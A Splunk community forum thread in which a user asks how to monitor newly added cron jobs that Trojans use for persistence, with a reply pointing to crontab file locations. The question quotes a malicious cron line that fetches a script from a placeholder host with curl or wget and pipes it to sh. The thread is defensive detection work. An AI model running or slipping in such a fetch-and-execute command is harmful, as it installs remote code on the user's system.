Splunk Enterprise

how to use splunk monitor a cron job add action

bestSplunker
Contributor

when some Trojans or virus  are implanted in the Linux OS. it will add cron job to  persist the Trojans .

for example:

 

 

 

 

curl -fsSL https://xxxx.com/raw/sByq0rym ||wget -q -0- https://xxx.com/raw/sByq0rym)|sh

 

 

 

 

so, can I use splunk to monitor  newly added  cron job ?

Labels (1)
0 Karma

thambisetty
Super Champion

You can monitor crontab files and apply your logic to find new cron job added.

The below doc is helpful to find out cronjob location 

https://opensource.com/article/17/11/how-use-cron-linux

————————————
If this helps, give a like below.
0 Karma
Get Updates on the Splunk Community!

Improve Your Security Posture

Watch NowImprove Your Security PostureCustomers are at the center of everything we do at Splunk and security ...

Maximize the Value from Microsoft Defender with Splunk

 Watch NowJoin Splunk and Sens Consulting for this Security Edition Tech TalkWho should attend:  Security ...

This Week's Community Digest - Splunk Community Happenings [6.27.22]

Get the latest news and updates from the Splunk Community here! News From Splunk Answers ✍️ Splunk Answers is ...